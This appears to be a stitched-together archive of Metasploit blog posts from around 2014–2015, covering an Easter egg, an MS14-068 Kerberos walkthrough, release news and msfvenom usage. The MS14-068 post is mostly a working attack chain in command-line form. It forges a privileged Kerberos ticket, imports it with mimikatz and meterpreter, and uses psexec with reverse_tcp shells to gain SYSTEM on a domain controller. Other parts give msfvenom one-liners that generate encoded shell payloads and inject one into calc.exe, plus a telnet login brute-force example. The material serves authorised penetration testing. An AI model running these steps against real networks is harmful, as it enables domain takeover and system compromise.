First off, grab a copy of msf/data/exploits/CVE-2010-3275.amv.


Second, you need a hex editor. My personal favorite is 010 Editor, but use whatever you want. Open the AMV file, and then at the 0x40th byte, you will see this DWORD 0xA0 0xA0 0x00 0x00. This is actually the resolution width of the video, which is the mangled portion that caused the vulnerability. Change the second 0xA0 back to 0x00, which translates to 160 in decimal, like the following screenshot:


Screen Shot 2014-12-22 at 7.43.22 PM.png


Ok, now, go download VLC player. The latest isn't vulnerable anymore, so you're fine.


Finally, open the AMV file with your VLC Player, and you shall see the hidden message that's been buried for years:


Screen Shot 2014-12-22 at 7.41.10 PM.png


In case you're wondering where I got that Got Root? sticker, I got it from Defcon, and you can buy yours from Jinx. And this is almost certainly the only Easter Egg left in Metasploit. You probably shouldn't bother looking for more.

This post is the first in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2014.


Hello everyone and Happy HaXmas! In November of 2014, a really interesting vulnerability was published on Microsoft Windows Kerberos, maybe you have already heard about it... MS14-068. Microsoft published an blog post discussing some additional details. According to the blog post, the Kerberos code was failing to validate the PAC (Privilege Attribute Certificate) on TGS (Ticket Granting Service) requests. Microsoft credited to Tom Maddock and its team as vulnerability discoverer.


Shortly after the Microsoft Security Bulletin, some patch analysis was made public by beyondtrust. They noticed how the PAC signature verification was patched to avoid signatures using other schemas than MD5_HMAC. And early on December the first exploit become public, it was a Python Kerberos Exploitation Kit (pkek) written in Python by Sylvain Moinne. Following its release, more in-depth analysis about the vulnerability, its exploitation and defense arisen. I particularly liked the article from MWR.


Since there is a lot of information already available it will help me to keep the long history short :-). As it has been already explained in the above references the PAC is a data structure from Microsoft to support authentication on Windows environment through Kerberos based technology. It contains critical information for authorization, like the client groups membership. It is generated by the KDC, and the the client must provide it to the KDC when requesting service tickets with TGS requests. PAC signature should allow the KDC to detect tampering. Unfortunately it didn't happen before MS14-068.


This important piece of information (the PAC) isn't sent along with the TGT Ticket as Pre Authentication Data. But as enc-authorization-data in the KDC (TGS) request body. To encrypt this authorization data the session subkey is used, which is of course known by the client, and communicated to the KDC on another piece of information, the authenticator. This last one is encrypted with the session key, already shared between KDC and client. Maybe a draw will make it more clear (sorry for my drawing skills... no comments):


Screen Shot 2014-12-23 at 4.21.15 PM.png


So far so good, with the explanation above, it should be more clear to the reader that their own PAC signature is an essential piece of information for the PAC validation on the KDC. Unfortunately, as has been already explained, non-secure checksum schemas were allowed before MS14-068, allowing to any domain user capable of getting a TGT ticket, to ask for service tickets with a tampered PAC in the request, without needing the krbtgt private key at all.


But all this information has been already explained (and more in depth!) as has been pointed before. In the meanwhile here at Metasploit we have been working to put ready a module for people to test and exploit this vulnerability. Unfortunately, as you can guess, some solid Kerberos support is needed in order to make it happen. Something which Framework was missing. Hopefully after this pull request not anymore! It's not full Kerberos support, but it's good enough to exploit MS14-068. So let's go to review how to use it from the framework. The next scenario assumes a pen testing happening with network access to the target domain, it means being able to resolve DNS names from the target domain.


First of all, a new Metasploit auxiliary module has been released. It emulates the pkek behavior, abusing the vulnerability to get a new TGT ticket, this time with a forged PAC, authorizing user membership on domain administration groups. The module should be run against the KDC (domain controller). It's usage is straightforward, the user just needs to pay attention to the options format -- note that every option is required in order to ensure successful exploitation:


msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

msf auxiliary(ms14_068_kerberos_checksum) > show options



Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):



   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   DOMAIN                     yes       The Domain (upper case) Ex: DEMO.LOCAL

   PASSWORD                   yes       The Domain User password

   RHOST                      yes       The target address

   RPORT     88               yes       The target port

   Timeout   10               yes       The TCP timeout to establish connection and read data

   USER                       yes       The Domain User

   USER_SID                   yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000



msf auxiliary(ms14_068_kerberos_checksum) > set DOMAIN DEMO.LOCAL


msf auxiliary(ms14_068_kerberos_checksum) > set PASSWORD juan

PASSWORD => juan

msf auxiliary(ms14_068_kerberos_checksum) > set USER juan

USER => juan

msf auxiliary(ms14_068_kerberos_checksum) > set USER_SID S-1-5-21-1755879683-3641577184-3486455962-1000

USER_SID => S-1-5-21-1755879683-3641577184-3486455962-1000

msf auxiliary(ms14_068_kerberos_checksum) > set RHOST WIN-F46QAN3U3UH.demo.local

RHOST => WIN-F46QAN3U3UH.demo.local

msf auxiliary(ms14_068_kerberos_checksum) > run



[*] Validating options...

[*] Using domain DEMO.LOCAL...

[*] WIN-F46QAN3U3UH.demo.local:88 - Sending AS-REQ...

[*] WIN-F46QAN3U3UH.demo.local:88 - Parsing AS-REP...

[*] WIN-F46QAN3U3UH.demo.local:88 - Sending TGS-REQ...

[+] WIN-F46QAN3U3UH.demo.local:88 - Valid TGS-Response, extracting credentials...

[+] WIN-F46QAN3U3UH.demo.local:88 - MIT Credential Cache saved on /Users/jvazquez/.msf4/loot/20141223201326_default_172.16.158.135_windows.kerber os_194320.bin

[*] Auxiliary module execution completed


The TGT ticket (with privileged PAC information) has been saved in 20141223201326_default_172.16.158.135_windows.kerberos_194320.bin. This file is saved on MIT Kerberos Credential Cache format. This format is really useful because can be imported with Mimikatz on windows clients, or on *NIX clients using MIT kerberos. Unfortunately, the kiwi extension for meterpreter doesn't allow to import this format still. OJ is already working on it! (seriously if you enjoy meterpreter you should say THANK YOU to him!). In the meanwhile, mimikatz can be used to convert the format (any mimikatz installation will do the work, no need to be a domain machine or nothing like that):


mimikatz # kerberos::clist "20141223201326_default_172.16.158.135_windows.kerber

os_194320.bin" /export


Principal : (01) : juan ; @ DEMO.LOCAL

Data 0

           Start/End/MaxRenew: 12/24/2014 3:13:21 AM ; 12/24/2014 1:13:06 PM ; 1

2/31/2014 3:13:06 AM

           Service Name (01) : krbtgt ; DEMO.LOCAL ; @ DEMO.LOCAL

           Target Name  (01) : krbtgt ; DEMO.LOCAL ; @ DEMO.LOCAL

           Client Name  (01) : juan ; @ DEMO.LOCAL

           Flags 00000000    :

           Session Key       : 0x00000017 - rc4_hmac_nt


           Ticket            : 0x00000000 - null              ; kvno = 2


           * Saved to file 0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi !

mimikatz #


Okey, the exported file 0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi now can be used to be loaded through the kiwi meterpreter extension. The first thing needed is a session on a domain machine, and then use the kiwi extension to import the TGT ticket:


msf auxiliary(ms14_068_kerberos_checksum) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost

lhost =>

msf exploit(handler) > exploit

[*] Started reverse handler on

[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to


meterpreter > getuid

Server username: DEMO\juan

meterpreter > load kiwi

Loading extension kiwi...



  .#####.   mimikatz 2.0 alpha (x86/win32) release "Kiwi en C"

.## ^ ##.

## / \ ##  /* * *

## \ / ##   Benjamin DELPY `gentilkiwi` ( )

'## v ##'             (oe.eo)

  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */



meterpreter > kerberos_ticket_use /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi

[*] Using Kerberos ticket stored in /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi, 1143 bytes

[+] Kerberos ticket applied successfully

meterpreter >


At this point, the windows current_user_psexec local exploit can be used to get SYSTEM sessions on the DOMAIN after this pull request by Meatballs. Remember that, in order to work, the machine running the msf console must be able to resolve names in the target domain:


msf auxiliary(ms14_068_kerberos_checksum) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost

lhost =>

msf exploit(handler) > exploit


[*] Started reverse handler on

[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to


meterpreter > getuid

Server username: DEMO\juan

meterpreter > load kiwi

Loading extension kiwi...



  .#####.   mimikatz 2.0 alpha (x86/win32) release "Kiwi en C"

.## ^ ##.

## / \ ##  /* * *

## \ / ##   Benjamin DELPY `gentilkiwi` ( )

'## v ##'             (oe.eo)

  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */




meterpreter > kerberos_ticket_use /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi

[*] Using Kerberos ticket stored in /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi, 1143 bytes

[+] Kerberos ticket applied successfully

meterpreter >

meterpreter > background

[*] Backgrounding session 1...

msf exploit(handler) > sessions


Active sessions


  Id  Type                   Information            Connection

  --  ----                   -----------            ----------

  1   meterpreter x86/win32  DEMO\juan @ EXPLOITER -> (


msf exploit(handler) > use exploit/windows/local/current_user_psexec

msf exploit(current_user_psexec) > set TECHNIQUE PSH


msf exploit(current_user_psexec) > set RHOSTS WIN-F46QAN3U3UH.demo.local

RHOSTS => WIN-F46QAN3U3UH.demo.local

msf exploit(current_user_psexec) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(current_user_psexec) > set lhost

lhost =>

msf exploit(current_user_psexec) > set SESSION 1


msf exploit(current_user_psexec) > exploit


[*] Started reverse handler on

[*] WIN-F46QAN3U3UH.demo.local Creating service 51cq2zJN6p

[*] WIN-F46QAN3U3UH.demo.local Starting the service

[*] Sending stage (770048 bytes) to

[*] WIN-F46QAN3U3UH.demo.local Deleting the service


meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM



And that's all for today! Hope all you enjoyed this HaXmas!


Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

Metasploit Version 4.11 Released

This week, we released Metasploit version 4.11 to the world -- feel free to download it here if you're the sort that prefers the binary install over the somewhat Byzantine procedure for setting up a development environment. Which you should be, because the binary installers (for Windows and Linux) have all the dependencies baked in and you don't have to monkey around with much to get going.


The two major features with this release center around reorganizing the bruteforce workflow to make things more sensible and usable for larger-scale password audits, and much better visualization on figuring out where the weak link is/was in the organization under test when stolen credentials were used to extend control.


Check out the screens of the much-streamlined Bruteforce configurator (click to embiggen):




and the "Credentials Domino" screen (also embiggenable):




That is one sexy relational graph, and the whole thing is kind of super fun to use. Makes me almost want to be a web developer. (:


Metasploit Resource Portal

In other news, it turns out I'm now a web developer! I give to you, the Metasploit Resource Portal, currently at It's pretty modest right now, and still in a public beta state, but today seems like as good a day as any to announce -- especially since community contributor Tom Sellers pretty much forced my hand yesterday in this quick DM conversation:



Tom has the honor of offering up the first PR to the project, so we'll see how this all plays out. Metasploit is an ever-changing beast, just like the rest of the security landscape. Hopefully, this crowd-sourced scheme to keep up on expert-reviewed content will be useful for both newbs and greybeards.


While this first small pass was collected up by Grandmaster Exploit Dev Wei @_sinn3r Chen and Metasploit Documentrix Thao @crazygoodcookie Doan, it turns out there's a ton of material on Metasploit ins and outs that wasn't written by anyone connected at Rapid7. Of course, that's no real surprise. However, while much of it is really good, only some of it is quite excellent -- so we're going to have to depend on you folks to help flag what's truly over-the-top amazing sauce.


If you have any suggestions or ideas for what can make this static site more useful for you, please don't hesitate to file an issue. This is literally the first on-the-Internet web project I've ever done, so I completely expect you to rake it over the coals. I settled on a Middleman-produced, Bootstrap-flavored, GitHub Pages-hosted static website. The whole thing was pretty fun -- especially since I got some early hand-holding and pep-talking from Matt @techpeace Buck, webdev extraordinaire.


I do have to say, though, I'm kind of horrified at the level of implicit trust that webdevs the world over are putting on cleartext http-delivered javascript includes. I'm pretty sure I chased all of those down so I'm at least not exposing you to XSS/CSRF across all the space. As it happens, Trevor @burlyscudd Rosen and I have worked up a developer-centric talk on this very topic, in fact. Mind those network calls!


New Modules

Since commit dcf2317, we've added three new exploits and six new auxiliary and post modules. The Kippo module is particularly interesting, at least to me. More often than not, I run a Kippo server on my laptop when I go to security conferences, just to see what I can see. It looks like that jig is now potentially up, at least until the Honeynet folks figure out if and how they want to avoid detection using these techniques.


Exploit modules


Auxiliary and post modules




News from the Command Line

As you no doubt saw, earlier this week we started the Doom Clock on two utilities that ship with the Metasploit Framework, msfencode and msfpayload. I won't rehash Wei sinn3r Chen's most excellent blog post too hard here, of course. However, I do want to make extra sure that the Metasploit trainers, teachers, users, and developers have plenty of warning on this change. Time marches on, and while it's important for software to maintain a reasonably consistent profile as it grows and matures, it's also important to recognize when it's time to jettison components that just aren't filling the right needs for users any more. msfencode and msfpayload, while venerable, fall into this category. As sinn3r says, msfvenom has been in beta for over three years, does everything msfencode and msfpayload did before, and is much more tightly integrated with the rest of the Metasploit ecosystem.


You're Next, msfcli

In that vein, keep an eye out for more retiring command line tools. Take msfcli, for example. For most users, msfcli is simply a way to load up one given module, run it, and exit. Sounds useful -- until you get a session. At that point, you're forced into an interactive mode, just like msfconsole, but without all of msfconsole's comforts. So that's not great, and can be surprising, even. Also, given the shocking speedups of Ruby 2.1 and a recent round of optimizations, msfconsole starts up much faster today than it has in a couple years, so running msfconsole with -q (quiet) and -r (resource script source) or -x (execute) gives you practically the identical experience. For a quick example:


$ ./msfconsole -q -x "use auxiliary/scanner/telnet/telnet_login; set USERNAME msfadmin; set PASSWORD msfadmin;
   set RHOSTS metasploitable; run; exit -y"

USERNAME => msfadmin
PASSWORD => msfadmin
RHOSTS => metasploitable
[+] - LOGIN SUCCESSFUL: msfadmin:msfadmin
[*] Attempting to start session with msfadmin:msfadmin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Yep, I can log in to Metasploitable as msfadmin:msfadmin, and exit cleanly, to boot.


So, if you want to fire things up, run a thing, and get out, msfconsole seems like a reasonable -- dare I say, better -- alternative. Given that running resource files allows you to express a bunch of logic as Ruby, it might even be more useful for you if you find yourself reaching for msfcli today. Oh, yes, you can run straight Ruby in Metasploit resource files -- since 2010. There are even a few example scripts to get you going.


New Modules

On the new module front, we added two new modules this week. The Outlook module is especially devious -- it uses PowerShell to manipulate the target's keyboard and mouse to navigate around the UI to snag emails on the target workstation. Oh PowerShell, is there anything you can't do?


Auxiliary and post modules

the_force_is_weak.jpgGreetings all,


On behalf of the Metasploit's development teams, I'd like to officially announce the decision of deprecating msfpayload and msfencode. Also starting today, we no longer support or accept patches for these two utilities. On June 8th 2015, the elderly msfpayload and msfencode will retire from the Metasploit repository, and replaced by their successor msfvenom. The tool msfvenom is the combination of msfpayload and msfencode, and has been in testing for more than 3.5 years.


msfpayload and msfencode have been in service to the hacking community for almost 10 years. What's really remarkable about them is that and they've been playing a big part in the success of computer hacking on almost every level, offense or defense. As an experienced penetration tester, sometimes maybe you don't necessarily know all the exploits out there publicly, maybe you don't even care because you're such a honey badger, but I'm pretty sure you would be more than happy to bring a modified executable generated by msfpayload for an on-site gig just in case. If you're just feeling nerdy all the way, you probably "concealed-carry" a msfpayload-generated file on your USB keychain at all times, too. If you're an exploit writer, for fun or profit, even if you don't really write Metasploit modules, you probably have used msfpayload to create something for you. If you're just a security enthusiast, maybe you've even used msfpayload to impress your friends. Both msfpayload and msfencode have also had their share in the education and entertainment industry, including: books, on-line tutorials, talks at security conferences, trainings, live interviews, Youtube, etc. I can spend my entire blog talking about how people use these tools if you let me. But if you have a cool hacking story done with mostly just msfpayload, please do share in the comment section below.


The second remarkable thing about msfpayload and msfencode is the people behind them. Since 2005, the tools have been fixed, improved, maintained, and documented by the open source security community. Each person has sacrificed their weekends, holidays, quality time with their friends and family to make sure the tools remain working properly. It has not been always easy, and most importantly no contributors have ever asked anything in return. If you ever run into one of these Metasploit people at a conference, make sure to buy them a drink.


As we begin the final six-month journey, we'd like to encourage you to use the time to become familiar with msfvenom. If you are a tool developer that relies on msfpayload or msfencode, now is a good time to start making that migration. If you're a trainer, please update your course materials.

Basic Msfvenom Usage

If you have never used msfvenom, the first thing you should do is read the help menu, and memorize some of these flags:

    -p, --payload    <payload>       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    <length>        Prepend a nopsled of [length] size on to the payload
    -f, --format     <format>        Output format (use --help-formats for a list)
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       <architecture>  The architecture to use
        --platform   <platform>      The platform of the payload
    -s, --space      <length>        The maximum size of the resulting payload
    -b, --bad-chars  <list>          The list of characters to avoid example: '\x00\xff'
    -i, --iterations <count>         The number of times to encode the payload
    -c, --add-code   <path>          Specify an additional win32 shellcode file to include
    -x, --template   <path>          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
        --payload-options            List the payload's standard options
    -o, --out   <path>               Save the payload
    -v, --var-name <name>            Specify a custom variable name to use for certain output formats
    -h, --help                       Show this message
        --help-formats               List available formats


Example 1: If you wish to list all the payloads available, you can do the following (also the same for listing encoders, nops, or all):


./msfvenom -l payloads


Example 2: Generating a windows/meterpreter/reverse_tcp:


./msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP -f exe


Example 3: To generate a payload that avoids certain bad characters:


./msfvenom -p windows/meterpreter/bind_tcp -b '\x00'


Example 4: To generate a payload with a specific encoder, and then encode 3 times:


./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3


Example 5: Inject a payload to calc.exe, and save it as new.exe


./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -k -f exe > new.exe


Msfvenom is also documented [here]


And that's it for today. If you find any issues with msfvenom, please report to:

Internet Explorer "unicorn" bug: CVE-2014-6332

This week, we shipped a brand new exploit for the "unicorn" bug in Microsoft Internet Explorer, CVE-2014-6332, not-so-prosaically entitled, Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution. This is a big deal client-side vulnerability for the usual reason that Internet Explorer 11 accounts for about a quarter of browser traffic today; nearly always, remote code execution bugs in latest IE are usually particularly dangerous to leave unpatched in your environment. The buzz around this bug, though, is that it's been exploitable since at least Internet Explorer 3. Old bugs are old, of course, so that's not particularly exciting, but this does mean that all those old and crusty workstations that litter factory floors, retail warehouses, and other dark and dusty corners of the Internet are likely to see some new activity.


The Metasploit implementation currently does require Windows PowerShell, so you won't have much luck using this exploit against IE3 in the real world -- PowerShell is really only reasonable to expect to see on Windows 2008 and later, so patches are definitely accepted to get this exploit vector more generalized -- check out the discussion on Pull Request 4255 if you're interested in working with Wei sinn3r Chen and spdfire on solving some of the current limitations.


A New Hire Approaches!

This has been an exciting week here at the People's Republic of Metasploit. We've hired on Brent Cook as "Payload Wizard" here at Rapid7. Brent is longtime Austin-area hacker, programming generalist, and on the LibreSSL development team. Brent has been to getting his hands (and brain) dirty this week getting up to speed on the various flavors of Meterpreter, and will be working closely with the open source community to ensure portability and feature completeness for the Linux, Python, Java, and as-yet-to-be-implemented versions of Metasploit's flagship payload. In addition to the various Meterpreters (Meterpoli?), Brent is also going to be guiding the discussion that starts with, "So, I have shells on all these computers/phones/devices... now what?" We've never had someone focused specifically on post-exploit payloads, and Brent has hands-on familiarity with lots of interesting platforms and architectures, so expect to have a lot more post-exploit options coming up soon. Finally, and as if that weren't enough, Brent will be pitching in with Project Sonar and other Rapid7 Labs initiatives and projects, since he also happens to be pretty whiz-bang at network programming and backend optimization.


I've known Brent for a few years now, and am super excited to have him full time on the Rapid7 Metasploit Framework team. Feel free to send your Internet high fives to @busterbcook and get ready for 2015's overhaul of the Meterpreter landscape.


New Modules

Since we last left our heroes, we've picked up eight new modules for your exploitation pleasure.

Exploit modules


Auxiliary and post modules

Filter Blog

By date: By tag: